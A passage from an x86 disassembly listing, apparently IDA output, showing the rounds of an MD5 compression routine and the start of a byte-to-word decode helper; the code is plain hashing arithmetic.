[ecx+eax-173848AAh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_48] mov ecx, [ebp+var_C] lea eax, [ecx+eax+242070DBh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_44] mov ecx, [ebp+var_8] lea eax, [ecx+eax-3E423112h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_40] mov ecx, [ebp+var_4] lea eax, [ecx+eax-0A83F051h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_3C] mov ecx, [ebp+var_10] lea eax, [ecx+eax+4787C62Ah] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_38] mov ecx, [ebp+var_C] lea eax, [ecx+eax-57CFB9EDh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_34] mov ecx, [ebp+var_8] lea eax, [ecx+eax-2B96AFFh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_30] mov ecx, [ebp+var_4] lea eax, [ecx+eax+698098D8h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_2C] mov ecx, [ebp+var_10] lea eax, [ecx+eax-74BB0851h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_28] mov ecx, [ebp+var_C] lea eax, [ecx+eax-0A44Fh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_24] mov ecx, [ebp+var_8] lea eax, [ecx+eax-76A32842h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_20] mov ecx, [ebp+var_4] lea eax, [ecx+eax+6B901122h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_1C] mov ecx, [ebp+var_10] lea eax, [ecx+eax-2678E6Dh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_18] mov ecx, [ebp+var_C] lea eax, [ecx+eax-5986BC72h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_14] mov ecx, [ebp+var_8] lea eax, [ecx+eax+49B40821h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_4C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-9E1DA9Eh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_38] mov ecx, [ebp+var_10] lea eax, [ecx+eax-3FBF4CC0h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_24] mov ecx, [ebp+var_C] lea eax, [ecx+eax+265E5A51h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_50] mov ecx, [ebp+var_8] lea eax, [ecx+eax-16493856h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_3C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-29D0EFA3h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_28] mov ecx, [ebp+var_10] lea eax, [ecx+eax+2441453h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_14] mov ecx, [ebp+var_C] lea eax, [ecx+eax-275E197Fh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_40] mov ecx, [ebp+var_8] lea eax, [ecx+eax-182C0438h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_2C] mov ecx, [ebp+var_4] lea eax, [ecx+eax+21E1CDE6h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_18] mov ecx, [ebp+var_10] lea eax, [ecx+eax-3CC8F82Ah] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_44] mov ecx, [ebp+var_C] lea eax, [ecx+eax-0B2AF279h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_30] mov ecx, [ebp+var_8] lea eax, [ecx+eax+455A14EDh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_1C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-561C16FBh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_48] mov ecx, [ebp+var_10] lea eax, [ecx+eax-3105C08h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_34] mov ecx, [ebp+var_C] lea eax, [ecx+eax+676F02D9h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_20] mov ecx, [ebp+var_8] lea eax, [ecx+eax-72D5B376h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_3C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-5C6BEh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_30] mov ecx, [ebp+var_10] lea eax, [ecx+eax-788E097Fh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_24] mov ecx, [ebp+var_C] lea eax, [ecx+eax+6D9D6122h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_18] mov ecx, [ebp+var_8] lea eax, [ecx+eax-21AC7F4h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_4C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-5B4115BCh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_40] mov ecx, [ebp+var_10] lea eax, [ecx+eax+4BDECFA9h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_34] mov ecx, [ebp+var_C] lea eax, [ecx+eax-944B4B0h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_28] mov ecx, [ebp+var_8] lea eax, [ecx+eax-41404390h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_1C] mov ecx, [ebp+var_4] lea eax, [ecx+eax+289B7EC6h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_50] mov ecx, [ebp+var_10] lea eax, [ecx+eax-155ED806h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_44] mov ecx, [ebp+var_C] lea eax, [ecx+eax-2B10CF7Bh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_38] mov ecx, [ebp+var_8] lea eax, [ecx+eax+4881D05h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_2C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-262B2FC7h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_20] mov ecx, [ebp+var_10] lea eax, [ecx+eax-1924661Bh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_14] mov ecx, [ebp+var_C] lea eax, [ecx+eax+1FA27CF8h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_48] mov ecx, [ebp+var_8] lea eax, [ecx+eax-3B53A99Bh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_50] mov ecx, [ebp+var_4] lea eax, [ecx+eax-0BD6DDBCh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_34] mov ecx, [ebp+var_10] lea eax, [ecx+eax+432AFF97h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_18] mov ecx, [ebp+var_C] lea eax, [ecx+eax-546BDC59h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_3C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-36C5FC7h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_20] mov ecx, [ebp+var_4] lea eax, [ecx+eax+655B59C3h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_44] mov ecx, [ebp+var_10] lea eax, [ecx+eax-70F3336Eh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_28] mov ecx, [ebp+var_C] lea eax, [ecx+eax-100B83h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_4C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-7A7BA22Fh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_30] mov ecx, [ebp+var_4] lea eax, [ecx+eax+6FA87E4Fh] loc_41005C: ; DATA XREF: .data:off_41A8CCo mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_14] mov ecx, [ebp+var_10] lea eax, [ecx+eax-1D31920h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_38] mov ecx, [ebp+var_C] lea eax, [ecx+eax-5CFEBCECh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_1C] mov ecx, [ebp+var_8] lea eax, [ecx+eax+4E0811A1h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_40] mov ecx, [ebp+var_4] lea eax, [ecx+eax-8AC817Eh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_24] mov ecx, [ebp+var_10] lea eax, [ecx+eax-42C50DCBh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_48] mov ecx, [ebp+var_C] lea eax, [ecx+eax+2AD7D2BBh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_2C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-14792C6Fh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+arg_0] mov eax, [eax] add eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov [ecx], eax mov eax, [ebp+arg_0] mov eax, [eax+4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] mov [ecx+4], eax mov eax, [ebp+arg_0] mov eax, [eax+8] add eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [ecx+8], eax mov eax, [ebp+arg_0] mov eax, [eax+0Ch] add eax, [ebp+var_10] mov ecx, [ebp+arg_0] mov [ecx+0Ch], eax leave retn sub_40F3CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410244 proc near ; CODE XREF: sub_40F3CE+Fp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 and [ebp+var_8], 0 jmp short loc_410263 ; --------------------------------------------------------------------------- loc_410253: ; CODE XREF: sub_410244+66j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax loc_410263: ; CODE XREF: sub_410244+Dj mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnb short locret_4102AC mov eax, [ebp+arg_4] add eax, [ebp+var_8] movzx eax, byte ptr [eax] 